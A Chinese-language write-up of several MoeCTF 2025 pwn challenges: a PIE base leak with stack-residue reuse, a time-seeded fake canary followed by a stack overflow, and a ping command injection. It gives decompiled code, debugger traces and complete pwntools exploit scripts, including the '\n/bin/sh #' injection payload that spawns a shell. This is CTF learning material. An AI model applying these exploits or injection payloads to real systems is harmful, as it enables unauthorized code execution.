之前我一直做的是reverse,出于兴趣和一些需要开始学习Pwn,由MoeCTF作为我的二进制之旅的起点。
xdulaker 这道题考察的是程序基址泄露和栈残留数据的利用,checksec发现没有canary:
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
运行程序之后会让你选择1/2/3,其中选择1会泄露全局变量opt的相对地址给你(格式输出符%p是输出传入指针指向的地址):
1 2 3 4 int pull () { return printf ("Thanks,I'll give you a gift:%p\n" , &opt); }
查找全局变量opt的偏移:
1 $ objdump -t pwn | grep opt
可以根据这个相对地址以及查找到的偏移计算出程序基址,从而找到backdoor的相对地址进行跳转。
photo和laker中各有一个read函数,其中注意到laker使用了一段看起来没有初始化过的数组进行比较,如下:
1 2 3 4 5 6 7 8 int photo () { char buf[80 ]; puts ("Hey,what's your name?!" ); read(0 , buf, 0x40u LL); return puts ("I will teach you a lesson." ); }
1 2 3 4 5 6 7 8 9 10 11 12 ssize_t laker () { char s1[48 ]; if ( memcmp (s1, "xdulaker" , 8uLL ) ) { puts ("You are not him." ); exit (0 ); } puts ("welcome,xdulaker" ); return read(0 , s1, 0x100u LL); }
那么猜测buf开头有数据残留,可以用来满足判断条件。注意这里的s1的偏移[rbp-30h]和buf的偏移[rbp-50h]。可以使用pwndbg调试一下,断在laker函数入口点,运行之后先选择2,输入32个’A’、’xdulaker’、24个’B’,然后继续运行,选择3,程序会断在laker:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> b laker Breakpoint 1 at 0x1374 pwndbg> r Starting program: /home/aurora/桌面/CTF/match/MoeCTF_2025/xdulaker/pwn [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". A freshman has walked into the lake. 1.Pull him out 2.Take a photo of him 3.Walk into the lake. Your choice >2 Hey,what's your name?! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxdulakerBBBBBBBBBBBBBBBBBBBBBBBB I will teach you a lesson. >3 Breakpoint 1, 0x0000555555555374 in laker ()
此时查看laker的栈帧。呃实际上不是laker的栈帧,因为是断在sub rsp之前,栈帧未分配:
1 2 3 4 5 6 7 8 9 10 11 pwndbg> x/80bx $rbp-0x50 0x7fffffffd0e0: 0xc0 0x45 0xe0 0xf7 0xff 0x7f 0x00 0x00 0x7fffffffd0e8: 0x20 0x80 0x55 0x55 0x55 0x55 0x00 0x00 0x7fffffffd0f0: 0x30 0xd1 0xff 0xff 0xff 0x7f 0x00 0x00 0x7fffffffd0f8: 0xd0 0x9d 0xc8 0xf7 0xff 0x7f 0x00 0x00 0x7fffffffd100: 0x78 0x64 0x75 0x6c 0x61 0x6b 0x65 0x72 0x7fffffffd108: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x7fffffffd110: 0x68 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00 0x7fffffffd118: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffd120: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffd128: 0x80 0x7d 0x55 0x55 0x55 0x55 0x00 0x00
发现0x7fffffffd100处存放”xdulaker”,我们单步执行一次,为laker函数分配栈帧:
此时查看laker的rsp和rbp,栈帧大小刚好为0x30字节,而且rsp刚好指向photo残留的”xdulaker”:
1 2 RBP 0x7fffffffd130 —▸ 0x7fffffffd140 —▸ 0x7fffffffd1e0 —▸ 0x7fffffffd240 ◂— 0 *RSP 0x7fffffffd100 ◂— 0x72656b616c756478 ('xdulaker')
于是我们可以利用这段残留数据过memcmp,然后就是基本的栈泄露,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *context(arch="amd64" , os="linux" , log_level="debug" ) sh = process("./pwn" ) sh.sendlineafter(b">" , b"1" ) sh.recvuntil(b"gift:" ) opt_addr = int (sh.recvline().strip(), 16 ) opt_offset = 0x4010 backdoor_offset = 0x1249 ret_offset = 0x1262 base_addr = opt_addr - opt_offset backdoor_addr = base_addr + backdoor_offset ret_addr = base_addr + ret_offset sh.sendlineafter(b">" , b"2" ) payload_photo = b"A" * 32 + b"xdulaker" + b"B" * 24 sh.sendafter(b"name?!" , payload_photo) sh.sendlineafter(b">" , b"3" ) payload = b"A" * 48 payload += b"B" * 8 payload += p64(ret_addr) payload += p64(backdoor_addr) sh.sendlineafter(b"xdulaker" , payload) sh.interactive()
boom 这道题实际上是考察伪随机数的生成,题目保护如下:
1 2 3 4 5 6 7 8 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
可以看到没开canary,题目中出现了gets函数,并且用随机数模拟了一个canary,想到栈溢出。使用gets的条件是输入’y’或’Y’并且传入正确的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __fastcall main (int argc, const char **argv, const char **envp) { char s[124 ]; int v5; int v6; init(); puts ("Welcome to Secret Message Book!" ); puts ("Do you want to brute-force this system? (y/n)" ); fgets(&brute_choice, 8 , stdin ); v6 = 0 ; if ( brute_choice == 121 || brute_choice == 89 ) { v6 = 1 ; canary = random() % 114514 ; v5 = canary; puts ("waiting..." ); sleep(1u ); puts ("boom!" ); puts ("Brute-force mode enabled! Security on." ); } else { puts ("Normal mode. No overflow allowed." ); } printf ("Enter your message: " ); if ( v6 ) gets(s); else fgets(s, 128 , stdin ); if ( v6 && v5 != canary ) { puts ("Security check failed!" ); exit (1 ); } puts ("Message received." ); return 0 ; }
题目提示说解法与时间有关,这里我们获取当前时间,设置多个种子进行尝试,过了之后就是简单的栈溢出,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *from ctypes import CDLLimport timesh = process("./pwn" ) sh.recvuntil(b'(y/n)' ) start_time = time.time() sh.sendline(b'y' ) sh.recvuntil(b'Enter your message:' ) libc = CDLL('libc.so.6' ) seeds = [int (start_time), int (start_time)-1 , int (start_time)+1 , 1 , 0 , int (time.time())] for seed in seeds: libc.srand(seed) canary = libc.rand() % 114514 payload = b'A' *124 + p32(canary) + b'B' *12 + p32(1 ) + b'C' *8 + p64(0x40128F ) + p64(0x401276 ) sh.sendline(payload) result = sh.recvline(timeout=1 ) if b'Security check failed' not in result: sh.interactive() break sh.close() sh = process("./pwn" ) sh.recvuntil(b'(y/n)' ) sh.sendline(b'y' ) sh.recvuntil(b'Enter your message:' )
boom_revenge 这道题好像和boom没什么区别,保护也开的一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __fastcall main (int argc, const char **argv, const char **envp) { char s[124 ]; int v5; int v6; init(argc, argv, envp); puts ("Welcome to Secret Message Book!" ); puts ("Do you want to brute-force this system? (y/n)" ); fgets(&brute_choice, 8 , stdin ); v6 = 0 ; if ( brute_choice == 121 || brute_choice == 89 ) { v6 = 1 ; canary = random() % 114514 ; v5 = canary; puts ("waiting..." ); sleep(1u ); puts ("boom!" ); puts ("Brute-force mode enabled! Security on." ); } else { puts ("Normal mode. No overflow allowed." ); } printf ("Enter your message: " ); if ( v6 ) { gets(s); if ( v5 != canary ) { puts ("Security check failed!" ); exit (1 ); } } else { fgets(s, 128 , stdin ); } puts ("Message received." ); return 0 ; }
直接用boom的exp即可。
inject 这题模拟了一个服务,可以发现ping_host()中ping的地址是由输入拼接的,不像pwn题,疑似web题命令注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int ping_host () { const char **v0; size_t v1; char *v2; unsigned __int64 v3; const char **v4; char v6; __int64 buf[2 ]; char command[40 ]; unsigned __int64 v9; v9 = __readfsqword(0x28u ); buf[0 ] = 0LL ; buf[1 ] = 0LL ; _printf_chk(1LL , "Enter host to ping: " ); v0 = buf; if ( read(0 , buf, 15uLL ) <= 0 ) exit (1 ); v1 = strlen (buf); if ( *(&v6 + v1) == 10 ) *(&v6 + v1) = 0 ; if ( check(buf) ) { v0 = &qword_20; _snprintf_chk(command, 32LL , 1LL , 32LL , "ping %s -c 4" , buf); v2 = command; execute(command); } else { v2 = "Invalid hostname or IP!" ; puts ("Invalid hostname or IP!" ); } v3 = v9 - __readfsqword(0x28u ); if ( v3 ) { _stack_chk_fail(v2, v0); LODWORD(v3) = main(v2, v0, v4); } return v3; }
那么可以使用’#’注释掉后面的”%s -c 4”,然后前面接入”/bin/sh”,再在前面接一个’\n’来换行,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(arch='amd64' , os='linux' , log_level='debug' ) sh = process('./pwn' ) payload = b"\n/bin/sh #" sh.sendlineafter(b"choice: " , b'4' ) sh.sendafter(b"Enter host to ping: " , payload) sh.interactive()
这里说一下system函数:
Windows下的system函数直接在控制台执行传入的command,而Unix/Linux下的system会fork一个子进程运行shell解释器来执行传入的command,即在控制台执行:
而shell解释器可以通过;或\n来隔开命令,所以要接入一个’\n’来使”/bin/sh”单独执行
未完待续……